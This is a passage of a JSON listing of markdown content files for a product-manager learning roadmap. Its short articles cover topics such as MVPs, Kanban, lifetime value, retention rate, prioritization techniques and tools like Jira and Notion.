    "content": "# Introduction to Product Management\n\nThe role of a Product Manager is arguably one of the most important in any tech company. Responsible for guiding the success of a product and leading the cross-functional team that is responsible for improving it, a Product Manager is essentially the chief advocate for a product's feature set and overall business value. In fact, a Product Manager often analyzes market and competitive conditions and lays out a product vision that is differentiated and delivers unique value based on customer demands. The role of a Product Manager spans many activities from strategic to tactical and provides important cross-functional leadership — most notably between engineering, marketing, sales, and support teams. As the product's key strategist and advocate, a Product Manager communicates the voice of the customer and strives to maximize the value of their product, for both users and the company."
  },
  {
    "path": "src/data/roadmaps/product-manager/content/introduction@GoYEAU_lZ186M3IJY48O6.md",
    "content": "# Introduction\n\nThe introduction phase of the product development lifecycle marks the transition from development to market entry, where the product is launched and made available to customers. For product managers, this phase involves executing go-to-market strategies, coordinating marketing and sales efforts, and closely monitoring the product's performance in the market. This period is critical for building brand awareness, attracting early adopters, and gathering initial customer feedback. Effective management during the introduction phase ensures a smooth launch, helps identify and resolve any post-launch issues, and sets the foundation for the product's growth and long-term success."
  },
  {
    "path": "src/data/roadmaps/product-manager/content/iterative-process@1HytzY1KRYIQWoQa5FMwY.md",
    "content": "# Iterative Process \n\nThe Iterative Process is a fundamental approach in product management, which allows Product Managers to continuously improve and refine their products. In essence, it means creating, testing, refining, and repeating. Using this methodology, a Product Manager incrementally enhances the product based on feedback and learnings from each iteration. This constant evolution of the product makes for a more flexible development process, particularly useful in dynamic environments where user needs or market conditions may frequently change. Understanding and applying the Iterative Process can greatly enhance the ability of a Product Manager to deliver an effective and successful product to the market."
  },
  {
    "path": "src/data/roadmaps/product-manager/content/jira@EPQ4-cKr-RqJ457XniP6w.md",
    "content": "# Jira - A Crucial Project Management Tool for Product Manager\n\nThe role of a product manager often calls for effective project management tools, and one of the most prominent among them is Jira. Developed by Atlassian, Jira is a versatile platform that allows product managers to plan, track, and release top-class software. It's cherished for its user-friendly interface and capabilities to create user stories, plan sprints, and distribute tasks across teams. As a product manager, understanding and utilizing Jira enhances the tracking of issues and workflows, aiding in efficient product development and team collaboration. Moreover, Jira's extensive features and customization options make it an indispensable tool in a product manager's arsenal."
  },
  {
    "path": "src/data/roadmaps/product-manager/content/job-stories@B9fgJmzVViaq7dvSuEglb.md",
    "content": "# Job Stories\n\nThe concept of Job Stories is a tool integral to a Product Manager's dynamic role. Structured differently from traditional user stories, Job Stories shift the focus from personas to the situation, providing a fresh perspective for understanding user requirements. They provide an opportunity for product managers to emphasize the context and causality of user needs. This perspective plays a crucial role in creating successful products and ensuring they deliver value to the end-users. Teleriking why and when someone uses the product opens avenues for actionable insights leading to judicious decision-making in defining product requirements."
  },
  {
    "path": "src/data/roadmaps/product-manager/content/kanban-basics@kJ2HQFEsnc5yISU8d9Lla.md",
    "content": "# Kanban Basics\n\nAs a Product Manager in the fast-paced environment of technological innovation, being aware of and proficient in Agile methodology and specifically, the Kanban basics, is crucial. Originated in Toyota production system, Kanban is a visual tool that effectively supports the management of a product as it goes through its lifecycle. For a Product Manager, understanding Kanban basics implies being able to streamline workflow, limit work-in-progress and visualize work, thereby optimizing the efficiency of a team and the production timeline. Simply put, Kanban helps in managing work by balancing demands with available capacity, and improving the handling of system-level bottlenecks."
  },
  {
    "path": "src/data/roadmaps/product-manager/content/key-product-metrics@RfllpwFxWBeHF29oUwGo_.md",
    "content": "# Key Product Metrics\n\nKey Product Metrics are essential parameters that Product Managers use to measure the performance and success of a product. These set of metrics help understand the usage, engagement, and overall value of a product to its users. Product Managers rely on these insights to inform their decision-making process, prioritize features, identify areas for improvement and evaluate the impact of changes made to the product. From user acquisition and retention rate to churn rate and time spent on product, choosing the right metrics is vital for driving growth and achieving product goals."
  },
  {
    "path": "src/data/roadmaps/product-manager/content/key-skills@5W-3jh1-4qSU5kagrWv9z.md",
    "content": "# Key Skills for a Product Manager\n\nA Product Manager is often viewed as the \"CEO of the Product\", requiring a unique blend of business, technical, and strategic skills to drive the product's success. Core competencies for a Product Manager typically include strategic thinking, the ability to influence cross-functional teams, technical proficiency, understanding of customer needs and market trends, problem-solving abilities, and exceptional communication skills. These key skills are vital in managing stakeholders, formulating strategic product vision, making crucial business decisions, and ensuring seamless product execution. The ability to continuously learn and adapt is also crucial due to the dynamic nature of the product management industry.\n\nLearn more from the following resources:\n\n- [@article@What Skills Does a Product Manager Need?](https://careerfoundry.com/en/blog/product-management/product-manager-skills/)\n- [@video@Skills Every Product Manager Needs](https://www.youtube.com/watch?v=ysBpePyeHkU)"
  },
  {
    "path": "src/data/roadmaps/product-manager/content/launch-planning@PbhuFKsVNO6xGJHqXCwFl.md",
    "content": "# Launch Planning\n\nThe role of a Product Manager is central to launch planning. It involves designing and executing a strategic plan to introduce a new product or feature to the market. In order to ensure the success of the product, a Product Manager needs to collaborate with various departments such as design, development, sales, marketing, and customer service. They are responsible for setting the timeline, allocating resources, identifying target consumers, and setting price points. This requires a detailed understanding of the market, competitors, and the unique value proposed by their product. Launch planning is a critical phase in the product life cycle and its success greatly determines the trajectory of the product in the market."
  },
  {
    "path": "src/data/roadmaps/product-manager/content/leadership-and-influence@WyKJxhfnbz6jx-Tvg40_j.md",
    "content": "# Leadership and Influence in Product Management\n\nThe roles of a Product Manager extend beyond merely guiding product development. Leadership and influence are integral to a Product Manager's toolkit. With a unique, cross-functional role that interacts with various departments such as design, engineering, and marketing, a Product Manager needs to inspire and mobilize teams towards a singular product vision. Moreover, they must effectively communicate, influence decisions, and advocate for their product in the face of potential resistance, all the while fostering a climate that empowers team members and stakeholders. This underscores the necessity for skills in leadership and influence in product management, underlining its significance beyond technical knowledge and tactical expertise."
  },
  {
    "path": "src/data/roadmaps/product-manager/content/linear@PIIGfDN6t8H6tXZuKuE04.md",
    "content": "# Linear\n\nLinear is a powerful project management tool designed to help teams improve their productivity and efficiency. It helps organize, prioritize, and track tasks in one streamlined platform. For the role of a Product Manager, Linear is an essential tool that aids in managing and monitoring progress, evaluating performance, and ensuring the roadmap aligns with the strategic goals of the product. Product managers may utilize the functionalities of Linear to communicate with various stakeholders, delegate tasks, and manage product backlogs effectively. Its clean and user-friendly interface makes it easy for Product Managers to streamline their workflow and focus more on building high-quality products."
  },
  {
    "path": "src/data/roadmaps/product-manager/content/looker@y8Ys_WfPXLVfJngOLryGR.md",
    "content": "# Looker under Analytics Tools\n\nLooker is a modern, cutting-edge data platform that provides robust tools for business analytics. As a Product Manager, understanding and utilizing Looker becomes significant since it enables data-driven decision-making. This tool facilitates comprehensive data exploration, interactive dashboard creation, and sharable reporting, which helps in managing product strategies effectively. Familiarity with Looker's capabilities thus empowers a product manager to explore markets, understand user behaviors, and ultimately define successful products."
  },
  {
    "path": "src/data/roadmaps/product-manager/content/ltv-lifetime-value@DB-dN0bfG29Xv_a8iV8Yg.md",
    "content": "# Understanding LTV (Lifetime Value) as a Product Manager \n\nThe Lifetime Value (LTV) of a customer is a crucial metric for a Product Manager. In its simplest form, LTV is the total revenue a company can expect from a single customer over the duration of their relationship with the company. It's a long-term perspective that ties together the upfront costs of customer acquisition with the ongoing costs of retention and the revenue generated by the customer. With a deep understanding of LTV, Product Managers can make informed decisions about marketing spend, product development, customer retention strategies, and more."
  },
  {
    "path": "src/data/roadmaps/product-manager/content/managing-partnerships@vXnf1AcMidLww5EypChWk.md",
    "content": "# Managing Partnerships\n\nProduct Managers often work at the intersection of business, technology, and user experience. An integral part of their role includes managing partnerships. This involves identifying and fostering strategic partnerships that can aid the company in achieving its business goals, optimizing product performance, and enhancing market reach. Relationships can range from technology partners, distribution affiliates, to marketing collaborators. Effective partnership management needs insightful planning, excellent communication and strong negotiation skills. It provides a powerful platform for increasing competitive advantage, gaining access to essential resources and expanding customer base."
  },
  {
    "path": "src/data/roadmaps/product-manager/content/managing-stakeholders@X-2mVBut_pn4o_fEGVrib.md",
    "content": "# Managing Stakeholders\n\nAs a Product Manager, managing stakeholders is one of the most essential and challenging aspects of your role. Stakeholders include anyone who has an interest in the product, its development, and its success. This could range from executive leadership and different teams within the company to clients, users, and even investors. Successful stakeholder management involves understanding the needs and concerns of stakeholders and effectively communicating with them, navigating conflicting interests, and managing expectations. It requires a balanced approach that ensures the interests of all stakeholders align with the overall product strategy and objectives."
  },
  {
    "path": "src/data/roadmaps/product-manager/content/market-analysis@Eusp5p6gNIxtU_yVvOkmu.md",
    "content": "# Market Analysis\n\nAs a central aspect of a Product Manager's role, market analysis encompasses the examination of the market within which the product will operate. It includes a detailed understanding of potential consumers, competitors, and market conditions. Market analysis helps Product Managers to develop strategic plans, set objectives, and make informed decisions about product development, positioning, and growth strategies. This extensive research forms the groundwork for understanding market trends, industry patterns, customer behavior and the competitive landscape."
  },
  {
    "path": "src/data/roadmaps/product-manager/content/market-segmentation@3MYjrnd6h2ZlcfaXjUbkC.md",
    "content": "# Market Segmentation under Positioning\n\nAs a Product Manager, understanding market segmentation is crucial in the process of positioning your product. Market segmentation involves dividing a market into distinct groups of buyers who have different needs, characteristics, and behaviors, and who might require separate products or marketing mixes. It helps product managers identify and analyze potential customers, their needs, and how the product can meet their needs. Furthermore, using market segmentation for positioning assists in developing a product's unique selling proposition, thus facilitating a stronger connection with targeted customer segments. Without proper market segmentation, product positioning may become less effective and could result in wasted marketing efforts."
  },
  {
    "path": "src/data/roadmaps/product-manager/content/marketing-strategies@YYo_7lmTw7h74Y4J5pp-_.md",
    "content": "# Marketing Strategies\n\nA Product Manager's job involves more than just overseeing the development of a product. They also play a crucial role in developing and implementing effective marketing strategies that align with the product’s goals and target market. This aspect involves understanding the market dynamics, competition, and user trends. Product Managers are responsible for translating these insights into strategies that drive the marketing campaigns, influence product positioning, branding, and promotion. It also includes measuring the success of every marketing initiative and tweaking plans as necessary to ensure the product’s success."
  },
  {
    "path": "src/data/roadmaps/product-manager/content/maturity@aUJTPvO9Eb1UOD0MIY4Mf.md",
    "content": "# Maturity\n\nThe maturity phase of the product development lifecycle follows the development, introduction, and growth stages, representing a period where the product has achieved widespread market acceptance and stabilized sales. For product managers, this phase focuses on maintaining market share, optimizing operational efficiency, and extending the product's lifecycle through enhancements and diversification. Strategies during this phase include cost management, refining marketing efforts to retain loyal customers, and exploring opportunities for incremental innovation. Effective management during the maturity phase is crucial for sustaining profitability, fending off competition, and preparing for eventual market saturation or product evolution."
  },
  {
    "path": "src/data/roadmaps/product-manager/content/mau-monthly-active-users@Sbi5Y72nU_B1Jk6xNp17u.md",
    "content": "# MAU (Monthly Active Users) \n\nMAU (Monthly Active Users) is a critical performance metric that product managers often use to gauge the user engagement and growth of a digital product such as a mobile app, a SaaS product, or a website. It refers to the unique users who engage with the product at least once within a month. As a product manager, understanding the MAU helps in designing effective marketing strategies, making product enhancements, and ultimately driving the product's success."
  },
  {
    "path": "src/data/roadmaps/product-manager/content/mind-mapping@beca7sTxYY06RwNn5jpZM.md",
    "content": "# Mind Mapping\n\nMind Mapping is an essential tool in the arsenal of a Product Manager. It involves the graphical or pictorial representation of ideas or tasks emerging from a core central concept. As product managers wrestle with strategy formulation, project management, feature breakout, and stakeholder communication, mind maps provide a valuable ally to visualize complex concepts and relationships. Mind mapping encourages brainstorming, fosters association of ideas, and aids in effectively organizing and structuring the numerous elements of a product's lifeline."
  },
  {
    "path": "src/data/roadmaps/product-manager/content/minimum-viable-product-mvp@mm5yvAaROsbwDgQUfnqyl.md",
    "content": "# Minimum Viable Product (MVP)\n\nThe Minimum Viable Product (MVP) is a crucial concept in the realm of product management. As a Product Manager, one is often tasked with defining and overseeing the development of the MVP. This refers to a version of a new product that allows a team to collect the most amount of validated learnings about customers with the least amount of effort. The principal advantage lies in understanding the interest and needs of the customers while saving time and resources. An effectively defined MVP can provide significant market insights, improve user experience in the final product, and increase likelihood for a successful product launch."
  },
  {
    "path": "src/data/roadmaps/product-manager/content/mitigation-strategies@4gV80Qrd08_Y8oZB_hahV.md",
    "content": "# Mitigation Strategies\n\nFor a Product Manager, understanding and implementing mitigation strategies is crucial in the development and lifecyle of a product. These strategies help to prevent, manage, and respond to risks that may arise during the product's development cycle. Acquiring the ability to identify potential risks and planning appropriate countermeasures is a fundamental skill required by Product Managers to ensure the successful launch and sustainability of a product in the market. The process often includes stages such as risk identification, risk assessment, and the development and execution of risk control strategies."
  },
  {
    "path": "src/data/roadmaps/product-manager/content/ml-in-product-mgmt@rzrxYqFENQ3d0WpZv9-0Q.md",
    "content": "# ML in Product Management \n\nMachine Learning (ML) is revolutionizing various industries and the field of product management is no exception. In a dynamic digital era, product managers are leveraging machine learning techniques to drive product innovation, better understand customer behavior, and forecast trends. With ML, data can be processed at an immense speed allowing product managers to make data-driven decisions and anticipate the future needs of the market, thus creating products that resonate with target audiences. Its contribution to predictive and behavioral analytics, customer segmentation and pricing strategy makes ML an essential tool for modern-day Product Management."
  },
  {
    "path": "src/data/roadmaps/product-manager/content/monitoring-and-controlling-risks@zJGg20NPStLPkeL5LKoGm.md",
    "content": "# Monitoring and Controlling Risks \n\nIn the realm of product management, monitoring and controlling risks is a critical responsibility. This process entails identifying potential areas of risks in product development and implementing strategies to mitigate them. Consequently, it involves continuous vigilance to ensure that potential threats do not escalate into problems that could jeopardize the success of the product. Product managers are often tasked with predicting likely risks, developing contingency plans and ensuring contractual compliance to keep the product development process smooth and within specified constraints. Their role hence extends beyond mere product vision and development, into a vital aspect of business strategy and risk management."
  },
  {
    "path": "src/data/roadmaps/product-manager/content/narrative@zS_CjYSTOIkJZn-oUEvgh.md",
    "content": "# Narrative under Vision & Mission\n\nA Product Manager, in their role, often stands as the conduit linking different business components, including customers, sales, marketing, and engineering. A crucial aspect of this role involves crafting the narrative under the Vision & Mission of their product. This narrative is a strategically designed story that brings to life, the product's purpose, its potential market impact, and the roadmap to its success. The narrative not only sets the direction for the team but it also helps stakeholders understand the product’s strategic importance. From illustrating the product's value proposition to external audiences to aligning internal teams, a solid, compelling narrative, shaped by the Product Manager, is crucial in defining and driving a product’s vision and mission."
  },
  {
    "path": "src/data/roadmaps/product-manager/content/north-star-metric@MYKZIDHSIXr-69BdtFcNR.md",
    "content": "# North Star Metric in Key Product Metrics\n\nThe North Star Metric is a pivotal element of product management, providing a guiding light for strategic decision-making. This critical value speaks to the core value that a product delivers its customers. As a product manager, identifying, tracking, and improving the North Star Metric is essential to cultivating product growth and enhancing user satisfaction. This metric shines a light on the product’s mission, assisting product managers in sharpening the focus on what truly matters for the product's success and lasting impact on users."
  },
  {
    "path": "src/data/roadmaps/product-manager/content/notion@dk1YzX84UUe_es1x-dfp2.md",
    "content": "# Notion as Roadmapping Tool\n\nAs a Product Manager, Notion is an indispensable tool in your arsenal for creating roadmaps. This powerful platform is a combination of note-taking, database, project management, and much more. With Notion, you can track the progress of various product initiatives, communicate status updates to stakeholders, and clearly lay out the strategic path ahead. With its flexible, customizable interface and integrations with other useful tools, it is perfectly suited towards collating and synthesizing large amounts of information, which is central to effective product management. The visual nature of Notion's interface makes it particularly well suited for creating compelling, easy-to-understand roadmaps."
  },
  {
    "path": "src/data/roadmaps/product-manager/content/outcome-based-roadmaps@1uAfy3ISLKGmLirvIfzfE.md",
    "content": "# Outcome-Based Roadmaps\n\nOutcome-Based Roadmaps refers to the strategic planning approach of focusing on the desired results of an organization or project rather than the specific tasks or features to be completed. For a Product Manager, creating outcome-based roadmaps requires a top-down approach, putting the focus on solving problems and achieving objectives over defining strict specifications or tasks. This allows for more flexibility and innovation in product development and strategy. It also necessitates a deep understanding of customer needs, the ability to articulate clear goals and progression metrics, and the skill to collaborate with cross-functional teams to see those goals to fruition."
  },
  {
    "path": "src/data/roadmaps/product-manager/content/phased-rollouts@8_VCWpSZkRWmsD1_thMYS.md",
    "content": "# Phased Rollouts\n\nPhased rollouts refer to the strategy of gradually introducing a new product or service in the market. As a Product Manager, adopting a phased rollout approach is crucial as it allows the identification and resolution of potential issues in real-time, without impacting the entire user base. Additionally, it provides an opportunity to garner early feedback for improvements before a product is fully launched to the entire market. This strategy helps in minimizing risks as well as ensuring a smooth user experience. The valuable insights gained during this process aids the Product Manager in refining the product and building better solutions."
  },
  {
    "path": "src/data/roadmaps/product-manager/content/platform-thinking@EEi56Ww04QbuF2I7B7xW8.md",
    "content": "# Platform Thinking\n\nThe role of a Product Manager extends beyond managing individual products. It often involves taking a broader outlook known as Platform Thinking. In the context of product management and particularly in scaling products, Platform Thinking involves considering the product not merely as a standalone offering but as a part of a larger ecosystem. This ecosystem is constituted by other products, services, users, developers, and other actors. A product manager, thus, needs to strategically design, develop, and scale the product in a way that it seamlessly fits into and contributes to the ecosystem, while also gaining valuable inputs and leveraging opportunities originating from the same platform."
  },
  {
    "path": "src/data/roadmaps/product-manager/content/portfolio-management@BGtxI9CHtJfhRMdUEIfWa.md",
    "content": "# Portfolio Management\n\nPortfolio Management is one of the most critical responsibilities of a Product Manager. It involves the strategic decision-making process aimed at aligning organizational strategy with the efforts of teams tasked with planning, creating, and delivering products. Portfolio management allows product managers to assess how potential products or a set of products can deliver the most value to the company and its customers. Balancing benefits, costs, risks, and resources, while maintaining a keen eye on market trends and competition forms the core of portfolio management for a company. In essence, a Product Manager has to curate the product portfolio in a way that ensures long-term success and growth of a business."
  },
  {
    "path": "src/data/roadmaps/product-manager/content/positioning@YPqdrZguH0ArEFSe-VwKS.md",
    "content": "# Positioning\n\nPositioning, within the realm of product management, refers to the delicate art of crafting and communicating a product's unique value proposition to the intended audience, in relation to competing products. It's about defining where your product fits into the market and how it should be perceived by its consumer base. A seasoned Product Manager meticulously shapes and controls this perception in order to strengthen the product’s standing in the market, increase sales, and boost the overall brand image. The correct positioning strategy can ultimately lead to a product's success or failure. For Product Managers, mastering this strategic function is a key element in directing both product development and marketing efforts."
  },
  {
    "path": "src/data/roadmaps/product-manager/content/predictive-analytics@YsDt5I0prvYeaFfn4_lpx.md",
    "content": "# Predictive Analytics\n\nIn today's fast-paced digital business landscape, it's imperative for a Product Manager to leverage data for driving effective decision-making. This is where Predictive Analytics comes into play. Predictive Analytics employs statistical algorithms and machine learning techniques to determine the likelihood of future outcomes based on historical data. For Product Managers, this powerful tool allows them to anticipate customer behavior and market trends, inform planning and prioritization, and ultimately enhance their product's value proposition. This proactive approach can markedly reduce risks while maximizing opportunities for enterprise growth and customer satisfaction."
  },
  {
    "path": "src/data/roadmaps/product-manager/content/predictive-analytics@h5N51_YgjaTHhPUHxkqQR.md",
    "content": "# Predictive Analytics\n\nProduct Management encompasses a plethora of analytical strategies and one of the essential approaches is Predictive Analytics. As a Product Manager, having insights about future outcomes can make a substantial difference in decision-making. Predictive Analytics is leveraged to analyze historical and current data and make predictions about unseen or future events. This can help in efficient planning, risk management, and strategic decision making. It's a powerful tool for product managers that enables them to predict trends, understand user behavior, forecast demand, and ultimately, to build better products."
  },
  {
    "path": "src/data/roadmaps/product-manager/content/principles-of-ux-design@TwL-EqDorSgUpBYr4O4rf.md",
    "content": "# Principles of UX Design\n\nWhen it comes to product development, one of the key roles a Product Manager must understand is the Principles of UX Design. UX (User Experience) Design is an intricate part of product management which aims at creating a streamlined and satisfying experience for the user interacting with a product. These principles guide designers and product managers alike in crafting products that aren't just functional but highly engaging. The skill of grasping these principles often separates successful products from the rest. A good understanding of UX Design principles helps product managers to maintain a user-focused approach throughout the product's life cycle, ensuring its viability in the market."
  },
  {
    "path": "src/data/roadmaps/product-manager/content/prioritising-features@k7Zv7IS9y-jkI_zGrBQG3.md",
    "content": "# Prioritising Features\n\nThe role of a Product Manager often necessitates the task of prioritising features in a product’s development roadmap. This pivotal process involves identifying what features or enhancements will serve the product, business, and customers best, considering the balance of business viability, technical feasibility, and customer desirability. Numerous methodologies can be applied to feature prioritisation, including the MoSCoW method, RICE scoring, or the Kano model, each influencing the order of feature implementation. Perfecting this process can lead to improved resource allocation, better product releases, and maximized customer satisfaction."
  },
  {
    "path": "src/data/roadmaps/product-manager/content/prioritization-techniques@Slb0P_LVdl7-GzUqbO33c.md",
    "content": "# Prioritization Techniques\n\nPrioritization Techniques are the key strategies implemented by product managers to determine where to allocate resources and focus development efforts. These techniques help in identifying the most valuable and impactful features, products, and projects to undertake. Since time, budget, and resources are limited, it is crucial to prioritize works that align with the business objectives, customer needs, and market trends. These techniques can range from simple to sophisticated; including methods like the Eisenhower Matrix, RICE scoring, Weighted Shortest Job First (WSJF), and more. Mastering these techniques facilitates a product manager in making informed decisions and delivering maximum value to the customers and the business."
  },
  {
    "path": "src/data/roadmaps/product-manager/content/problem-framing@aBJUQvgXmvpLPOhpDTn7l.md",
    "content": "# Problem Framing\n\nProblem Framing is a vigorous process undertaken by Product Managers to clearly understand, articulate, and define the issues that a product or service aims to resolve. It necessitates critical and creative thinking to identify the root cause of a problem, its potential implications, its users, and the impact of its solutions. Essentially, a well-framed problem can guide Product Managers while they navigate through the product's design and development phases, ensuring that the final product successfully addresses the issue at hand and delivers substantial value to its users."
  },
  {
    "path": "src/data/roadmaps/product-manager/content/product-board@70yvt_oKcadnjZgg8FtAh.md",
    "content": "# Product Board\n\nProduct Board is a strategic tool that serves as a backbone in the realm of product management. Known for its compelling visual environment, it is widely used to cater decision-making processes and hare insights about the product roadmap. It acts as a guidance system for product managers to prioritize the high-impact assignments and deliver meticulously crafted, user-centric products. Able to integrate with other popular platforms, Product Board offers a seamless user experience with its powerful features to bridge the gap between strategy, execution, and team alignment. Excellent facilitator for feedback management, user segmentation, and iterative planning, it is a must-have tool for every agile product manager."
  },
  {
    "path": "src/data/roadmaps/product-manager/content/product-development-lifecycle@kB8e26BUm8BpTY1_O3N3_.md",
    "content": "# Product Development Lifecycle\n\nThe Product Development Lifecycle is a crucial aspect for Product Managers to understand. It represents the systematic and methodical journey a product takes from conceptual idea to market distribution. This lifecycle consists of several distinct stages such as ideation, design, development, testing, and launch. Developing a thorough comprehension of this process enables Product Managers to effectively manage, predict and strategize around the potential challenges and opportunities each stage presents. This understanding is vital for successful product launches, maximizing product potential, and ensuring alignment with market demands and customer expectations.\n\nLearn more from the following resources:\n\n- [@article@Product Development Lifecycle - MailChimp](https://mailchimp.com/resources/product-life-cycle/)"
  },
  {
    "path": "src/data/roadmaps/product-manager/content/product-identification@fmpJB_14CYn7PVuoGZdoz.md",
    "content": "# Product Identification\n\nProduct Identification plays a critical role in the diverse spectrum of responsibilities held by a Product Manager. It typically involves identifying and detailing the core features, value proposition, and user demographics of a product. This is an essential preliminary step in product development that not only assists in recognising the unique selling points but also helps in positioning the product appropriately in the competitive market. The rationale, advantages and potential of a product are all captured during the product identification process, making it a key strategic roadmap element for a Product Manager. Knowledge of product identification can empower Product Managers to make informed decisions that align with user needs and business goals.\n"
  },
  {
    "path": "src/data/roadmaps/product-manager/content/product-requirements@0tJ7zlgOIaioCMmVavfqz.md",
    "content": "# Product Requirements\n\nProduct requirements are a vital component in the realm of product management. They represent the critical elements, features, and functionalities that a product must possess to meet the needs and expectations of customers, stakeholders, and the business itself. Product Managers hold the responsibility to define, document, and communicate these requirements effectively with all parties involved. This process involves understanding customer needs, market trends, and technical feasibility, translating these understandings into well-defined requirements for the development teams. Thus, mastering the art of product requirements is an essential skill for a successful Product Manager."
  },
  {
    "path": "src/data/roadmaps/product-manager/content/product-roadmap@gS3ofDrqDRKbecIskIyGi.md",
    "content": "# Product Roadmap\n\nThe product roadmap is a strategic document that provides a detailed overview of the product's direction and vision. It outlines the product's plans, both tactical and strategic - including the specific steps necessary to achieve the company's goals and vision. As a Product Manager, you are expected to guide the creation of the product roadmap, communicating the product’s evolution to the team, stakeholders, and customers. This tool serves as an essential reference point helping to align all stakeholders with the key priorities and vision of the product, and acts as a guide for decisions around product development.\n\nLearn more from the following resources:\n- [@article@What is a Product Roadmap? - Product Plan](https://www.productplan.com/learn/what-is-a-product-roadmap/)\n- [@video@What is a Product Roadmap? - Vibhor Chandel](https://www.youtube.com/watch?v=BJR70jnpHog&ab_channel=VibhorChandel)\n"
  },
  {
    "path": "src/data/roadmaps/product-manager/content/product-vs-project-management@V-IeFB9S2tToxANHIzpMs.md",
    "content": "# Project vs Product Management\n\nProject management focuses on planning, executing, and closing specific projects with defined objectives, timelines, and deliverables, ensuring that tasks are completed on time and within budget. It is concerned with the successful completion of a project, often involving temporary endeavors with a clear beginning and end. In contrast, product management is a continuous process that involves the entire lifecycle of a product, from ideation and development to market launch and ongoing improvements.\n\nProduct managers are responsible for defining the product vision, strategy, and roadmap, ensuring that the product meets customer needs and business goals. They work cross-functionally with teams like engineering, marketing, and sales to deliver a product that provides value over its entire lifecycle. While project managers focus on the execution of specific initiatives, product managers concentrate on the long-term success and evolution of a product.\n\nLearn more from the following resources:\n\n- [@article@Product vs Project Manager - Coursera](https://www.coursera.org/gb/articles/product-manager-vs-project-manager)\n- [@video@Product Manager vs Project Manager](https://www.youtube.com/watch?v=nPR6HsUO_XY)\n"
  },
  {
    "path": "src/data/roadmaps/product-manager/content/project-management-tools@Yjxk2gUi5jQONeLzBaeJz.md",
    "content": "# Project Management Tools\n\nAs a Product Manager, the utilization of project management tools is vital to effectively oversee and organize various products within a project lifecycle. These tools aid in planning, delegation, tracking, and reporting of tasks, all of which are crucial in managing a product. They bring structure to large scale projects by providing a visual overview of progress, aligning team members, and ensuring timely completion. Whether it's cultivating roadmaps or highlighting dependencies, Project Management tools serve as an indispensable asset for Product Managers."
  },
  {
    "path": "src/data/roadmaps/product-manager/content/proposition@ZCTSbMHAMSaOxlqaJImzr.md",
    "content": "# Proposition under Vision & Mission\n\nAs a critical cog in the wheel, a Product Manager is closely entwined with the strategic development of the product's proposition under the company's vision and mission. This involves understanding and aligning the product's value proposition with the overarching business objectives. A well-articulated proposition gives direction to the product development process, influences the marketing strategies, and contributes to creating a product that rings true to the brand promise. The role of the Product Manager here is multifaceted—they contribute to defining, refining, and maintaining this proposition while ensuring it's in sync with the customers' needs and market trends. They also act as a crucial link between various stakeholders, including leadership, technical teams, and customers."
  },
  {
    "path": "src/data/roadmaps/product-manager/content/qualitative-risk-assessment@KXadmIkKJM0XLV4Qz0Stj.md",
    "content": "# Qualitative Risk Assessment \n\nQualitative Risk Assessment is a crucial aspect of a Product Manager's role. It involves evaluating potential risks according to their likelihood and potential impact, rather than using exact numerical measurements. This subjective assessment aids in prioritizing risks that could impact product development and helps implement necessary mitigation strategies. Product Managers need a profound understanding of qualitative risk assessment to successfully navigate the complexities of product management, ensuring the product's success while considering all possible risk factors."
  },
  {
    "path": "src/data/roadmaps/product-manager/content/quantitative-risk-assessment@g0sBLcG8kEfeHHtsJSb4i.md",
    "content": "# Quantitative Risk Assessment\n\nProduct Managers are often required to make important decisions which can significantly affect the success of a product. One of the key decision-making tools they use is Quantitative Risk Assessment (QRA). QRA is a formal and systematic approach to estimating the probability and consequences of potential product risks. It involves the use of objective and empirical data to calculate the likelihood of a risk occurring and the magnitude of its impact. This methodology provides Product Managers with a data-driven framework to identify, assess, and prioritize risks, enabling them to make informed product decisions and to develop effective risk mitigation strategies."
  },
  {
    "path": "src/data/roadmaps/product-manager/content/reference-materials@uXseNTJlteD6Fgi1bzQB4.md",
    "content": "# Reference Materials under Vision & Mission\n\nWhen considering the role of a Product Manager, one must appreciate the crucial impact of \"Reference Materials under Vision & Mission\". These materials comprise everything from project proposals and business plans to company strategy documents and competitors' analysis reports. They serve as a factual and thematic basis for a product manager's day-to-day decisions and long-term strategic planning. Understanding the company’s vision and mission is a foundational requirement for a product manager since they act as a guiding compass for all product development activities, ensuring alignment of all efforts towards achieving the company's goals."
  },
  {
    "path": "src/data/roadmaps/product-manager/content/release-strategies@VqNK1rNAnr_yvi_a0YZEs.md",
    "content": "# Release Strategies \n\nRelease strategies play a critical role in the responsibilities of a Product Manager. Essentially, a release strategy defines the plan for the distribution of the final version of a product. The role of the Product Manager here is to ensure that new releases deliver on the product vision while meeting business objectives. They must carefully plan and manage product releases, outlining what features will be delivered, deciding on the release date, coordinating the teams involved and ensuring the product is effectively launched into the market. An effective release strategy is crucial to achieve the product goals and maximize the value delivered to the customers and business alike."
  },
  {
    "path": "src/data/roadmaps/product-manager/content/remote-stakeholders@QGAb7dQM052XPA0Ll-R1P.md",
    "content": "# Managing Remote Stakeholders\n\nThe role of a Product Manager involves not only managing a product but also interacting and coordinating with diverse stakeholders. Working with remote stakeholders is a common scenario that Product Managers encounter in their work life. Stakeholders could range from engineers based in different locations, sales teams distributed globally, or even customers who could be states or continents away. The nuances of managing these remote stakeholders, understanding their requirements and expectations, communicating effectively despite time zone differences, and creating a synergy towards a common goal are crucial elements in the role of a Product Manager. Getting it right often results in well-executed projects and stellar products."
  },
  {
    "path": "src/data/roadmaps/product-manager/content/remote-user-testing@5fze1aw1in3Gp3K31bvin.md",
    "content": "# Remote User Testing\n\nRemote User Testing is a crucial aspect of the role of a Product Manager. This technique allows the validation of ideas, products, features, and updates with real users in their natural environment. This method of testing can provide invaluable insights into how users interact with a product, what challenges they might face, and what improvements can be made. For a Product Manager, implementing remote user testing into the development cycle can significantly aid in creating a user-centric product that meets the audience's needs and expectations. It is cost-effective, versatile, and applicable to a variery of stages in the product's lifecycle."
  },
  {
    "path": "src/data/roadmaps/product-manager/content/retention-rate@mfG1UheUwzO8dbS4oglgo.md",
    "content": "# Retention Rate as a Key Product Metric\n\nFor a product manager, understanding the retention rate is integral to making key business decisions. This metric refers to the percentage of customers who continue to use a specific product over a given time period. By closely monitoring the retention rate, product managers can gauge the degree to which the product, application, or service meets the needs and expectations of consumers. Low retention rates may indicate dissatisfaction or competition, while high retention rates can suggest user satisfaction and loyalty. Understanding this figure can provide insights into changes that can improve customer engagement and satisfaction, making it a vital aspect of a product manager's role."
  },
  {
    "path": "src/data/roadmaps/product-manager/content/retrospectives@AkKl7PrIPrIqXnss88v18.md",
